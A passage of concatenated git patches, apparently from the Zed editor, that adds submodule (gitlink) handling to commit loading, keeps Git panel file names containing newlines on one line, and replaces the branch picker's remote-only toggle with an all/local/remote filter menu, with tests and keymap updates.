+            .expect_err("expected malformed metadata to fail");
+        assert!(error.to_string().contains("new mode"));
     }
 }
diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index 7bea8283d700f8..94d3fac855e550 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -1,6 +1,6 @@
-use crate::commit::parse_git_diff_name_status;
+use crate::commit::{CommitDiffObject, CommitDiffObjectKind, parse_git_diff_raw};
 use crate::stash::GitStash;
-use crate::status::{DiffTreeType, GitStatus, StatusCode, TreeDiff};
+use crate::status::{DiffTreeType, GitStatus, TreeDiff};
 use crate::{Oid, RunHook, SHORT_SHA_LENGTH};
 use anyhow::{Context as _, Result, anyhow, bail};
 use async_channel::Sender;
@@ -572,6 +572,57 @@ pub fn is_binary_content(content: &[u8]) -> bool {
     content[..check_len].contains(&0)
 }
 
+struct LoadedCommitObject {
+    text: String,
+    is_binary: bool,
+}
+
+async fn read_commit_blob<R: smol::io::AsyncBufRead + Unpin>(
+    stdout: &mut R,
+    info_line: &mut String,
+    newline: &mut [u8; 1],
+) -> Result<LoadedCommitObject> {
+    info_line.clear();
+    stdout.read_line(info_line).await?;
+
+    let len = info_line
+        .trim_end()
+        .parse()
+        .with_context(|| format!("invalid object size output from cat-file {info_line}"))?;
+
+    let mut bytes = vec![0; len];
+    stdout.read_exact(&mut bytes).await?;
+    stdout.read_exact(newline).await?;
+
+    let is_binary = is_binary_content(&bytes);
+    Ok(LoadedCommitObject {
+        text: if is_binary {
+            String::new()
+        } else {
+            String::from_utf8_lossy(&bytes).to_string()
+        },
+        is_binary,
+    })
+}
+
+async fn load_commit_object<R: smol::io::AsyncBufRead + Unpin>(
+    object: Option<CommitDiffObject<'_>>,
+    stdout: &mut R,
+    info_line: &mut String,
+    newline: &mut [u8; 1],
+) -> Result<Option<LoadedCommitObject>> {
+    match object {
+        Some(object) if object.kind == CommitDiffObjectKind::Gitlink => {
+            Ok(Some(LoadedCommitObject {
+                text: format!("Subproject commit {}\n", object.oid),
+                is_binary: false,
+            }))
+        }
+        Some(_) => Ok(Some(read_commit_blob(stdout, info_line, newline).await?)),
+        None => Ok(None),
+    }
+}
+
 #[derive(Debug, Clone, Hash, PartialEq, Eq)]
 pub struct Remote {
     pub name: SharedString,
@@ -1421,7 +1472,8 @@ impl GitRepository for RealGitRepository {
                     "--format=",
                     "-z",
                     "--no-renames",
-                    "--name-status",
+                    "--raw",
+                    "--no-abbrev",
                     "--first-parent",
                 ])
                 .arg(&commit)
@@ -1431,10 +1483,14 @@ impl GitRepository for RealGitRepository {
                 .output()
                 .await
                 .context("starting git show process")?;
+            anyhow::ensure!(
+                show_output.status.success(),
+                "git show failed: {}",
+                String::from_utf8_lossy(&show_output.stderr)
+            );
 
             let show_stdout = String::from_utf8_lossy(&show_output.stdout);
-            let changes = parse_git_diff_name_status(&show_stdout);
-            let parent_sha = format!("{}^", commit);
+            let changes = parse_git_diff_raw(&show_stdout);
 
             let mut cat_file_process = git
                 .build_command(&["cat-file", "--batch=%(objectsize)"])
@@ -1445,85 +1501,62 @@ impl GitRepository for RealGitRepository {
                 .context("starting git cat-file process")?;
 
             let mut files = Vec::<CommitFile>::new();
-            let mut stdin = BufWriter::with_capacity(512, cat_file_process.stdin.take().unwrap());
-            let mut stdout = BufReader::new(cat_file_process.stdout.take().unwrap());
+            let stdin = cat_file_process
+                .stdin
+                .take()
+                .context("git cat-file process has no stdin")?;
+            let stdout = cat_file_process
+                .stdout
+                .take()
+                .context("git cat-file process has no stdout")?;
+            let mut stdin = BufWriter::with_capacity(512, stdin);
+            let mut stdout = BufReader::new(stdout);
             let mut info_line = String::new();
             let mut newline = [b'\0'];
-            for (path, status_code) in changes {
+            for change in changes {
+                let change = change?;
+                let path = change.path;
                 // git-show outputs `/`-delimited paths even on Windows.
                 let Some(rel_path) = RelPath::unix(path).log_err() else {
                     continue;
                 };
 
-                match status_code {
-                    StatusCode::Modified | StatusCode::TypeChanged => {
-                        stdin.write_all(commit.as_bytes()).await?;
-                        stdin.write_all(b":").await?;
-                        stdin.write_all(path.as_bytes()).await?;
-                        stdin.write_all(b"\n").await?;
-                        stdin.write_all(parent_sha.as_bytes()).await?;
-                        stdin.write_all(b":").await?;
-                        stdin.write_all(path.as_bytes()).await?;
-                        stdin.write_all(b"\n").await?;
-                    }
-                    StatusCode::Added => {
-                        stdin.write_all(commit.as_bytes()).await?;
-                        stdin.write_all(b":").await?;
-                        stdin.write_all(path.as_bytes()).await?;
+                let objects = [change.new_object, change.old_object];
+                let mut has_blobs = false;
+                for object in objects.iter().flatten() {
+                    if object.kind == CommitDiffObjectKind::Blob {
+                        stdin.write_all(object.oid.as_bytes()).await?;
                         stdin.write_all(b"\n").await?;
+                        has_blobs = true;
                     }
-                    StatusCode::Deleted => {
-                        stdin.write_all(parent_sha.as_bytes()).await?;
-                        stdin.write_all(b":").await?;
-                        stdin.write_all(path.as_bytes()).await?;
-                        stdin.write_all(b"\n").await?;
-                    }
-                    _ => continue,
                 }
-                stdin.flush().await?;
-
-                info_line.clear();
-                stdout.read_line(&mut info_line).await?;
-
-                let len = info_line.trim_end().parse().with_context(|| {
-                    format!("invalid object size output from cat-file {info_line}")
-                })?;
-                let mut text_bytes = vec![0; len];
-                stdout.read_exact(&mut text_bytes).await?;
-                stdout.read_exact(&mut newline).await?;
-
-                let mut old_text = None;
-                let mut new_text = None;
-                let mut is_binary = is_binary_content(&text_bytes);
-                let text = if is_binary {
-                    String::new()
-                } else {
-                    String::from_utf8_lossy(&text_bytes).to_string()
-                };
+                if has_blobs {
+                    stdin.flush().await?;
+                }
 
-                match status_code {
-                    StatusCode::Modified | StatusCode::TypeChanged => {
-                        info_line.clear();
-                        stdout.read_line(&mut info_line).await?;
-                        let len = info_line.trim_end().parse().with_context(|| {
-                            format!("invalid object size output from cat-file {}", info_line)
-                        })?;
-                        let mut parent_bytes = vec![0; len];
-                        stdout.read_exact(&mut parent_bytes).await?;
-                        stdout.read_exact(&mut newline).await?;
-                        is_binary = is_binary || is_binary_content(&parent_bytes);
-                        if is_binary {
-                            old_text = Some(String::new());
-                            new_text = Some(String::new());
-                        } else {
-                            old_text = Some(String::from_utf8_lossy(&parent_bytes).to_string());
-                            new_text = Some(text);
-                        }
+                let [new_object, old_object] = objects;
+                let new_object =
+                    load_commit_object(new_object, &mut stdout, &mut info_line, &mut newline)
+                        .await?;
+                let old_object =
+                    load_commit_object(old_object, &mut stdout, &mut info_line, &mut newline)
+                        .await?;
+                let is_binary = new_object.as_ref().is_some_and(|object| object.is_binary)
+                    || old_object.as_ref().is_some_and(|object| object.is_binary);
+                let new_text = new_object.map(|object| {
+                    if is_binary {
+                        String::new()
+                    } else {
+                        object.text
                     }
-                    StatusCode::Added => new_text = Some(text),
-                    StatusCode::Deleted => old_text = Some(text),
-                    _ => continue,
-                }
+                });
+                let old_text = old_object.map(|object| {
+                    if is_binary {
+                        String::new()
+                    } else {
+                        object.text
+                    }
+                });
 
                 files.push(CommitFile {
                     path: RepoPath(Arc::from(rel_path)),
@@ -4133,6 +4166,107 @@ mod tests {
         assert_eq!(file.status(), CommitFileStatus::Modified);
     }
 
+    #[gpui::test]
+    async fn test_load_commit_with_gitlink_changes(cx: &mut TestAppContext) {
+        const FIRST_SUBMODULE_COMMIT: &str = "1111111111111111111111111111111111111111";
+        const SECOND_SUBMODULE_COMMIT: &str = "2222222222222222222222222222222222222222";
+
+        disable_git_global_config();
+        cx.executor().allow_parking();
+
+        let repo_dir = tempfile::tempdir().expect("failed to create temporary repository");
+        git_init_repo(repo_dir.path());
+        fs::write(repo_dir.path().join("README.md"), "parent repository\n")
+            .expect("failed to write regular file");
+        git_command(repo_dir.path(), ["add", "README.md"]);
+        git_command(
+            repo_dir.path(),
+            [
+                "update-index",
+                "--add",
+                "--cacheinfo",
+                crate::commit::GITLINK_MODE,
+                FIRST_SUBMODULE_COMMIT,
+                "modules/example",
+            ],
+        );
+        git_command(repo_dir.path(), ["commit", "-m", "add submodule"]);
+
+        let repository = RealGitRepository::new(
+            &repo_dir.path().join(".git"),
+            None,
+            Some("git".into()),
+            cx.executor(),
+        )
+        .expect("failed to open repository");
+
+        let commit_diff = repository
+            .load_commit("HEAD".to_string(), cx.to_async())
+            .await
+            .expect("failed to load commit that adds a gitlink");
+        assert_eq!(commit_diff.files.len(), 2);
+        let gitlink = commit_diff
+            .files
+            .iter()
+            .find(|file| file.path.as_unix_str() == "modules/example")
+            .expect("gitlink should be present alongside the regular file");
+        assert_eq!(gitlink.status(), CommitFileStatus::Added);
+        assert_eq!(gitlink.old_text, None);
+        assert_eq!(
+            gitlink.new_text.as_deref(),
+            Some("Subproject commit 1111111111111111111111111111111111111111\n")
+        );
+        assert!(!gitlink.is_binary);
+
+        git_command(
+            repo_dir.path(),
+            [
+                "update-index",
+                "--cacheinfo",
+                crate::commit::GITLINK_MODE,
+                SECOND_SUBMODULE_COMMIT,
+                "modules/example",
+            ],
+        );
+        git_command(repo_dir.path(), ["commit", "-m", "update submodule"]);
+
+        let commit_diff = repository
+            .load_commit("HEAD".to_string(), cx.to_async())
+            .await
+            .expect("failed to load commit that updates a gitlink");
+        let [gitlink] = commit_diff.files.as_slice() else {
+            panic!("expected one updated gitlink");
+        };
+        assert_eq!(gitlink.status(), CommitFileStatus::Modified);
+        assert_eq!(
+            gitlink.old_text.as_deref(),
+            Some("Subproject commit 1111111111111111111111111111111111111111\n")
+        );
+        assert_eq!(
+            gitlink.new_text.as_deref(),
+            Some("Subproject commit 2222222222222222222222222222222222222222\n")
+        );
+        assert!(!gitlink.is_binary);
+
+        git_command(repo_dir.path(), ["rm", "--cached", "modules/example"]);
+        git_command(repo_dir.path(), ["commit", "-m", "remove submodule"]);
+
+        let commit_diff = repository
+            .load_commit("HEAD".to_string(), cx.to_async())
+            .await
+            .expect("failed to load commit that deletes a gitlink");
+        let [gitlink] = commit_diff.files.as_slice() else {
+            panic!("expected one deleted gitlink");
+        };
+        assert_eq!(gitlink.status(), CommitFileStatus::Deleted);
+        assert_eq!(
+            gitlink.old_text.as_deref(),
+            Some("Subproject commit 2222222222222222222222222222222222222222\n")
+        );
+        assert_eq!(gitlink.new_text, None);
+        assert!(!gitlink.is_binary);
+    }
+
     #[gpui::test]
     async fn test_check_access(cx: &mut TestAppContext) {
         disable_git_global_config();

From 22116632f72f7f1dde6dbe17386c35615aeb7b84 Mon Sep 17 00:00:00 2001
From: Pavel Olizko <71591964+nolight132@users.noreply.github.com>
Date: Sun, 12 Jul 2026 23:21:51 +0200
Subject: [PATCH 399/772] git_ui: Sanitize file names before rendering (#60862)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

`GitPanel::entry_label` builds file-name labels directly from `git
status` output without calling `.single_line()`. A raw newline in a file
name splits its row across multiple visual lines in the Changes panel.

## Solution

- Add the missing `.single_line()` call in `entry_label`, matching the
behavior in `project_panel.rs`.

## Testing

- Created a git repo with an untracked file whose name contains a
literal newline byte and confirmed the Changes panel now renders it on
one line, collapsing the newline to `⏎` like the project panel already
does.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

# Showcase

Before:
<img width="441" height="216" alt="image"
src="https://github.com/user-attachments/assets/921e5aad-01f9-49fd-89b1-f7270e2d203c"
/>

After:
<img width="447" height="206" alt="image"
src="https://github.com/user-attachments/assets/1c09af36-ccf1-434a-be20-0ea2c5d232d5"
/>

Release Notes:

- Fixed file names containing newlines rendering across multiple
  lines in the Git Panel.
---
 crates/git_ui/src/git_panel.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index d5e6e65b132260..b5b1a541b21c2b 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -6799,7 +6799,7 @@ impl GitPanel {
     }
 
     fn entry_label(&self, label: impl Into<SharedString>, color: Color) -> Label {
-        Label::new(label.into()).color(color)
+        Label::new(label.into()).single_line().color(color)
     }
 
     fn list_item_height(&self) -> Rems {

From 94597a97cbec558bb609c6d91b2a83400b720cc9 Mon Sep 17 00:00:00 2001
From: Sathwik Chirivelli <146921254+chirivelli@users.noreply.github.com>
Date: Mon, 13 Jul 2026 02:59:44 +0530
Subject: [PATCH 400/772] git_ui: Add branch picker filter menu (#60857)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Make branch filtering consistent and more flexible across the title bar
and Git panel branch pickers.

## Solution

- Replace the remote-only filter toggle with a dropdown for all, local,
and remote branches.
- Preserve the selected filter across branch picker instances.
- Add a ListFilter icon and active-filter indicator.
- Prevent nested filter-menu interactions from dismissing the parent
picker.
- Cycle through all, local, and remote filters with the existing
keyboard shortcut.

## Testing

- Ran `cargo check -p git_ui --tests --no-default-features`.
- Verified formatting with `cargo fmt -p git_ui`.
- Manually checked the filter dropdown from the title bar and Git panel.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

- Filters: All, Local, Remote
- "Cmd + Shift + I" to cycle over the filters

<details>
  <summary>New Branch Picker Filter Dropdown</summary>

<img width="1624" height="1030" alt="Screenshot 2026-07-12 at 3 53
30 PM"
src="https://github.com/user-attachments/assets/1323d9c9-f4b9-41ee-ba93-841299872c02"
/>

<img width="1624" height="1030" alt="Screenshot 2026-07-12 at 3 54
35 PM"
src="https://github.com/user-attachments/assets/839345ff-de3b-48f0-b4e7-0f8d27e94204"
/>

</details>


Release Notes:

- Improved branch filtering with local, remote, and all-branch options
in the branch picker.
---
 assets/keymaps/default-linux.json   |   2 +-
 assets/keymaps/default-macos.json   |   2 +-
 assets/keymaps/default-windows.json |   2 +-
 crates/git_ui/src/branch_picker.rs  | 345 +++++++++++++++++++++-------
 crates/git_ui/src/git_picker.rs     |  65 +++++-
 5 files changed, 325 insertions(+), 91 deletions(-)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 58bfc4b10e78c5..4c3507b746b2cb 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -1516,7 +1516,7 @@
     "bindings": {
       "ctrl-shift-backspace": "branch_picker::DeleteBranch",
       "ctrl-alt-shift-backspace": "branch_picker::ForceDeleteBranch",
-      "ctrl-shift-i": "branch_picker::FilterRemotes",
+      "ctrl-shift-i": "branch_picker::CycleBranchFilter",
     },
   },
   {
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index 0bf5b95fe58419..012314c9a2aba7 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -1569,7 +1569,7 @@
     "bindings": {
       "cmd-shift-backspace": "branch_picker::DeleteBranch",
       "cmd-alt-shift-backspace": "branch_picker::ForceDeleteBranch",
-      "cmd-shift-i": "branch_picker::FilterRemotes",
+      "cmd-shift-i": "branch_picker::CycleBranchFilter",
     },
   },
   {
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index d373b94f6492aa..d9c01221c71201 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -1494,7 +1494,7 @@
     "bindings": {
       "ctrl-shift-backspace": "branch_picker::DeleteBranch",
       "ctrl-alt-shift-backspace": "branch_picker::ForceDeleteBranch",
-      "ctrl-shift-i": "branch_picker::FilterRemotes",
+      "ctrl-shift-i": "branch_picker::CycleBranchFilter",
     },
   },
   {
diff --git a/crates/git_ui/src/branch_picker.rs b/crates/git_ui/src/branch_picker.rs
index 1cbfcca4364d64..fbe39b5b7b073c 100644
--- a/crates/git_ui/src/branch_picker.rs
+++ b/crates/git_ui/src/branch_picker.rs
@@ -6,7 +6,7 @@ use collections::HashSet;
 use git::repository::{Branch, delete_branch_flag};
 use gpui::http_client::Url;
 use gpui::{
-    Action, App, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable,
+    Action, App, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, Global,
     InteractiveElement, IntoElement, Modifiers, ModifiersChangedEvent, ParentElement, PromptLevel,
     Render, SharedString, Styled, Subscription, Task, TaskExt, WeakEntity, Window, actions, rems,
 };
@@ -14,11 +14,12 @@ use picker::{Picker, PickerDelegate, PickerEditorPosition};
 use project::git_store::{Repository, RepositoryEvent};
 use project::project_settings::ProjectSettings;
 use settings::Settings;
+use std::rc::Rc;
 use std::sync::Arc;
 use time::OffsetDateTime;
 use ui::{
-    Banner, Divider, HighlightedLabel, KeyBinding, ListItem, ListItemSpacing, Severity, Tooltip,
-    prelude::*,
+    Banner, ContextMenu, ContextMenuEntry, Divider, HighlightedLabel, Indicator, KeyBinding,
+    ListItem, ListItemSpacing, PopoverMenu, PopoverMenuHandle, Severity, Tooltip, prelude::*,
 };
 use ui_input::ErasedEditor;
 use util::ResultExt;
@@ -34,8 +35,14 @@ actions!(
         DeleteBranch,
         /// Force deletes the selected git branch or remote.
         ForceDeleteBranch,
-        /// Filter the list of remotes
-        FilterRemotes
+        /// Show all branches.
+        ShowAllBranches,
+        /// Show only local branches.
+        ShowLocalBranches,
+        /// Show only remote branches.
+        ShowRemoteBranches,
+        /// Cycle through branch filters.
+        CycleBranchFilter
     ]
 );
 
@@ -181,8 +188,10 @@ impl BranchList {
     ) -> Self {
         let mut this = Self::new_inner(workspace, repository, style, width, false, window, cx);
         this._subscriptions
-            .push(cx.subscribe(&this.picker, |_, _, _, cx| {
-                cx.emit(DismissEvent);
+            .push(cx.subscribe(&this.picker, |this, _, _, cx| {
+                if !this.branch_filter_menu_open(cx) {
+                    cx.emit(DismissEvent);
+                }
             }));
         this
     }
@@ -232,8 +241,10 @@ impl BranchList {
             cx,
         );
         this._subscriptions
-            .push(cx.subscribe(&this.picker, |_, _, _, cx| {
-                cx.emit(DismissEvent);
+            .push(cx.subscribe(&this.picker, |this, _, _, cx| {
+                if !this.branch_filter_menu_open(cx) {
+                    cx.emit(DismissEvent);
+                }
             }));
         this
     }
@@ -416,19 +427,32 @@ impl BranchList {
         })
     }
 
-    pub fn handle_filter(
+    pub(crate) fn set_branch_filter(
         &mut self,
-        _: &branch_picker::FilterRemotes,
+        branch_filter: BranchFilter,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
+        cx.set_global(GlobalBranchFilter(branch_filter));
         self.picker.update(cx, |picker, cx| {
-            picker.delegate.branch_filter = picker.delegate.branch_filter.invert();
+            if picker.delegate.branch_filter == branch_filter {
+                return;
+            }
+            picker.delegate.branch_filter = branch_filter;
             picker.update_matches(picker.query(cx), window, cx);
             picker.refresh_placeholder(window, cx);
             cx.notify();
         });
     }
+
+    pub(crate) fn branch_filter_menu_open(&self, cx: &App) -> bool {
+        self.picker.read(cx).delegate.branch_filter_menu_open
+    }
+
+    pub(crate) fn cycle_branch_filter(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        let branch_filter = self.picker.read(cx).delegate.branch_filter.next();
+        self.set_branch_filter(branch_filter, window, cx);
+    }
 }
 impl ModalView for BranchList {}
 impl EventEmitter<DismissEvent> for BranchList {}
@@ -446,11 +470,35 @@ impl Render for BranchList {
             .on_modifiers_changed(cx.listener(Self::handle_modifiers_changed))
             .on_action(cx.listener(Self::handle_delete))
             .on_action(cx.listener(Self::handle_force_delete))
-            .on_action(cx.listener(Self::handle_filter))
+            .on_action(
+                cx.listener(|this, _: &branch_picker::ShowAllBranches, window, cx| {
+                    this.set_branch_filter(BranchFilter::All, window, cx);
+                }),
+            )
+            .on_action(
+                cx.listener(|this, _: &branch_picker::ShowLocalBranches, window, cx| {
+                    this.set_branch_filter(BranchFilter::Local, window, cx);
+                }),
+            )
+            .on_action(
+                cx.listener(|this, _: &branch_picker::ShowRemoteBranches, window, cx| {
+                    this.set_branch_filter(BranchFilter::Remote, window, cx);
+                }),
+            )
+            .on_action(
+                cx.listener(|this, _: &branch_picker::CycleBranchFilter, window, cx| {
+                    this.cycle_branch_filter(window, cx);
+                }),
+            )
             .child(self.picker.clone())
             .when(!self.embedded, |this| {
                 this.on_mouse_down_out({
                     cx.listener(move |this, _, window, cx| {
+                        // The filter menu is a deferred popover, so clicks within it are outside
+                        // the branch picker's bounds even though it is part of this interaction.
+                        if this.picker.read(cx).delegate.branch_filter_menu_open {
+                            return;
+                        }
                         this.picker.update(cx, |this, cx| {
                             this.cancel(&Default::default(), window, cx);
                         })
@@ -507,22 +555,96 @@ impl Entry {
 }
 
 #[derive(Clone, Copy, PartialEq)]
-enum BranchFilter {
+pub(crate) enum BranchFilter {
     /// Show both local and remote branches.
     All,
+    /// Only show local branches.
+    Local,
     /// Only show remote branches.
     Remote,
 }
 
 impl BranchFilter {
-    fn invert(&self) -> Self {
+    fn next(self) -> Self {
         match self {
-            BranchFilter::All => BranchFilter::Remote,
-            BranchFilter::Remote => BranchFilter::All,
+            Self::All => Self::Local,
+            Self::Local => Self::Remote,
+            Self::Remote => Self::All,
         }
     }
 }
 
+struct GlobalBranchFilter(BranchFilter);
+
+impl Global for GlobalBranchFilter {}
+
+fn branch_filter_menu(
+    branch_filter: BranchFilter,
+    picker: WeakEntity<Picker<BranchListDelegate>>,
+    window: &mut Window,
+    cx: &mut App,
+) -> Entity<ContextMenu> {
+    let picker_for_menu = picker.clone();
+    let menu = ContextMenu::build(window, cx, |menu, _, _| {
+        menu.header("Show")
+            .item(branch_filter_menu_entry(
+                "All Branches",
+                BranchFilter::All,
+                branch_filter,
+                picker_for_menu.clone(),
+            ))
+            .item(branch_filter_menu_entry(
+                "Local Branches",
+                BranchFilter::Local,
+                branch_filter,
+                picker_for_menu.clone(),
+            ))
+            .item(branch_filter_menu_entry(
+                "Remote Branches",
+                BranchFilter::Remote,
+                branch_filter,
+                picker_for_menu,
+            ))
+    });
+    window
+        .subscribe(&menu, cx, move |_, _: &DismissEvent, window, cx| {
+            let picker = picker.clone();
+            window.defer(cx, move |_, cx| {
+                picker
+                    .update(cx, |picker, _| {
+                        picker.delegate.branch_filter_menu_open = false;
+                    })
+                    .log_err();
+            });
+        })
+        .detach();
+    menu
+}
+
+fn branch_filter_menu_entry(
+    label: &'static str,
+    branch_filter: BranchFilter,
+    current_branch_filter: BranchFilter,
+    picker: WeakEntity<Picker<BranchListDelegate>>,
+) -> ContextMenuEntry {
+    ContextMenuEntry::new(label)
+        .toggle(IconPosition::End, branch_filter == current_branch_filter)
+        .handler(move |window, cx| {
+            picker
+                .update(cx, |picker, cx| {
+                    cx.set_global(GlobalBranchFilter(branch_filter));
+                    if picker.delegate.branch_filter == branch_filter {
+                        return;
+                    }
+                    picker.delegate.branch_filter = branch_filter;
+                    picker.update_matches(picker.query(cx), window, cx);
+                    picker.refresh_placeholder(window, cx);
+                    cx.notify();
+                })
+                .log_err();
+        })
+}
+
 pub struct BranchListDelegate {
     workspace: WeakEntity<Workspace>,
     matches: Vec<Entry>,
@@ -535,6 +657,8 @@ pub struct BranchListDelegate {
     last_query: String,
     modifiers: Modifiers,
     branch_filter: BranchFilter,
+    branch_filter_menu_handle: PopoverMenuHandle<ContextMenu>,
+    branch_filter_menu_open: bool,
     state: PickerState,
     branch_selection_behavior: BranchSelectionBehavior,
     focus_handle: FocusHandle,
@@ -846,6 +970,9 @@ impl BranchListDelegate {
                 selected_branch, ..
             } => selected_branch.clone(),
         };
+        let branch_filter = cx
+            .try_global::<GlobalBranchFilter>()
+            .map_or(BranchFilter::All, |filter| filter.0);
 
         Self {
             workspace,
@@ -858,7 +985,9 @@ impl BranchListDelegate {
             selected_index: 0,
             last_query: Default::default(),
             modifiers: Default::default(),
-            branch_filter: BranchFilter::All,
+            branch_filter,
+            branch_filter_menu_handle: PopoverMenuHandle::default(),
+            branch_filter_menu_open: false,
             state: PickerState::List,
             branch_selection_behavior,
             focus_handle: cx.focus_handle(),
@@ -1072,9 +1201,9 @@ impl PickerDelegate for BranchListDelegate {
         &self,
         editor: &Arc<dyn ErasedEditor>,
         _window: &mut Window,
-        _cx: &mut Context<Picker<Self>>,
+        cx: &mut Context<Picker<Self>>,
     ) -> Div {
-        let focus_handle = self.focus_handle.clone();
+        let picker = cx.weak_entity();
         let editor = editor.as_any().downcast_ref::<Entity<Editor>>().unwrap();
 
         let show_inline_filter =
@@ -1110,30 +1239,36 @@ impl PickerDelegate for BranchListDelegate {
                     .px_2p5()
                     .child(editor.clone())
                     .when(show_inline_filter, |this| {
-                        let tooltip_label = match self.branch_filter {
-                            BranchFilter::All => "Filter Remote Branches",
-                            BranchFilter::Remote => "Show All Branches",
-                        };
-
-                        this.gap_1().justify_between().child({
-                            IconButton::new("filter-remotes", IconName::Filter)
-                                .toggle_state(self.branch_filter == BranchFilter::Remote)
-                                .icon_size(IconSize::Small)
-                                .tooltip(move |_, cx| {
-                                    Tooltip::for_action_in(
-                                        tooltip_label,
-                                        &branch_picker::FilterRemotes,
-                                        &focus_handle,
-                                        cx,
-                                    )
-                                })
-                                .on_click(|_click, window, cx| {
-                                    window.dispatch_action(
-                                        branch_picker::FilterRemotes.boxed_clone(),
+                        let branch_filter = self.branch_filter;
+                        let picker_for_menu_open = picker.clone();
+                        this.gap_1().justify_between().child(
+                            PopoverMenu::new("branch-filter-menu")
+                                .with_handle(self.branch_filter_menu_handle.clone())
+                                .on_open(Rc::new(move |_, cx| {
+                                    picker_for_menu_open
+                                        .update(cx, |picker, _| {
+                                            picker.delegate.branch_filter_menu_open = true;
+                                        })
+                                        .log_err();
+                                }))
+                                .trigger(
+                                    IconButton::new("branch-filter", IconName::ListFilter)
+                                        .toggle_state(branch_filter != BranchFilter::All)
+                                        .when(branch_filter != BranchFilter::All, |this| {
+                                            this.indicator(Indicator::dot().color(Color::Info))
+                                        })
+                                        .icon_size(IconSize::Small)
+                                        .tooltip(Tooltip::text("Filter branches")),
+                                )
+                                .menu(move |window, cx| {
+                                    Some(branch_filter_menu(
+                                        branch_filter,
+                                        picker.clone(),
+                                        window,
                                         cx,
-                                    );
-                                })
-                        })
+                                    ))
+                                }),
+                        )
                     }),
             )
             .when(
@@ -1189,6 +1324,7 @@ impl PickerDelegate for BranchListDelegate {
         cx.spawn_in(window, async move |picker, cx| {
             let branch_matches_filter = |branch: &Branch| match branch_filter {
                 BranchFilter::All => true,
+                BranchFilter::Local => !branch.is_remote(),
                 BranchFilter::Remote => branch.is_remote(),
             };
 
@@ -1721,6 +1857,7 @@ impl PickerDelegate for BranchListDelegate {
             return None;
         }
         let focus_handle = self.focus_handle.clone();
+        let picker = cx.weak_entity();
 
         let footer_container = || {
             h_flex()
@@ -1818,29 +1955,31 @@ impl PickerDelegate for BranchListDelegate {
                             } else {
                                 this.justify_between()
                                     .child({
-                                        let focus_handle = focus_handle.clone();
-                                        let filter_label = match self.branch_filter {
-                                            BranchFilter::All => "Filter Remote",
-                                            BranchFilter::Remote => "Show All",
-                                        };
-                                        Button::new("filter-remotes", filter_label)
-                                            .toggle_state(matches!(
-                                                self.branch_filter,
-                                                BranchFilter::Remote
-                                            ))
-                                            .key_binding(
-                                                KeyBinding::for_action_in(
-                                                    &branch_picker::FilterRemotes,
-                                                    &focus_handle,
-                                                    cx,
-                                                )
-                                                .map(|kb| kb.size(rems_from_px(12.))),
+                                        let branch_filter = self.branch_filter;
+                                        let picker_for_menu_open = picker.clone();
+                                        PopoverMenu::new("branch-filter-footer-menu")
+                                            .with_handle(self.branch_filter_menu_handle.clone())
+                                            .on_open(Rc::new(move |_, cx| {
+                                                picker_for_menu_open
+                                                    .update(cx, |picker, _| {
+                                                        picker.delegate.branch_filter_menu_open =
+                                                            true;
+                                                    })
+                                                    .log_err();
+                                            }))
+                                            .trigger(
+                                                Button::new("branch-filter", "Filter…")
+                                                    .toggle_state(
+                                                        branch_filter != BranchFilter::All,
+                                                    ),
                                             )
-                                            .on_click(|_click, window, cx| {
-                                                window.dispatch_action(
-                                                    branch_picker::FilterRemotes.boxed_clone(),
+                                            .menu(move |window, cx| {
+                                                Some(branch_filter_menu(
+                                                    branch_filter,
+                                                    picker.clone(),
+                                                    window,
                                                     cx,
-                                                );
+                                                ))
                                             })
                                     })
                                     .child(delete_and_select_btns)
@@ -2597,7 +2736,7 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn test_branch_filter_shows_all_then_remotes_and_applies_query(cx: &mut TestAppContext) {
+    async fn test_branch_filter_shows_all_local_and_remote_branches(cx: &mut TestAppContext) {
         init_test(cx);
 
         let branches = vec![
@@ -2650,32 +2789,54 @@ mod tests {
 
         branch_list.update(cx, |branch_list, cx| {
             branch_list.picker.update(cx, |picker, _cx| {
-                picker.delegate.branch_filter = BranchFilter::Remote;
+                picker.delegate.branch_filter = BranchFilter::Local;
             })
         });
 
         update_branch_list_matches_with_empty_query(&branch_list, cx).await;
 
-        branch_list
-            .update_in(cx, |branch_list, window, cx| {
-                branch_list.picker.update(cx, |picker, cx| {
-                    assert_eq!(picker.delegate.matches.len(), 2);
-                    let branches = picker
+        branch_list.update(cx, |branch_list, cx| {
+            branch_list.picker.update(cx, |picker, _cx| {
+                assert_eq!(
+                    picker
                         .delegate
                         .matches
                         .iter()
-                        .map(|be| be.name())
-                        .collect::<HashSet<_>>();
-                    assert_eq!(
-                        branches,
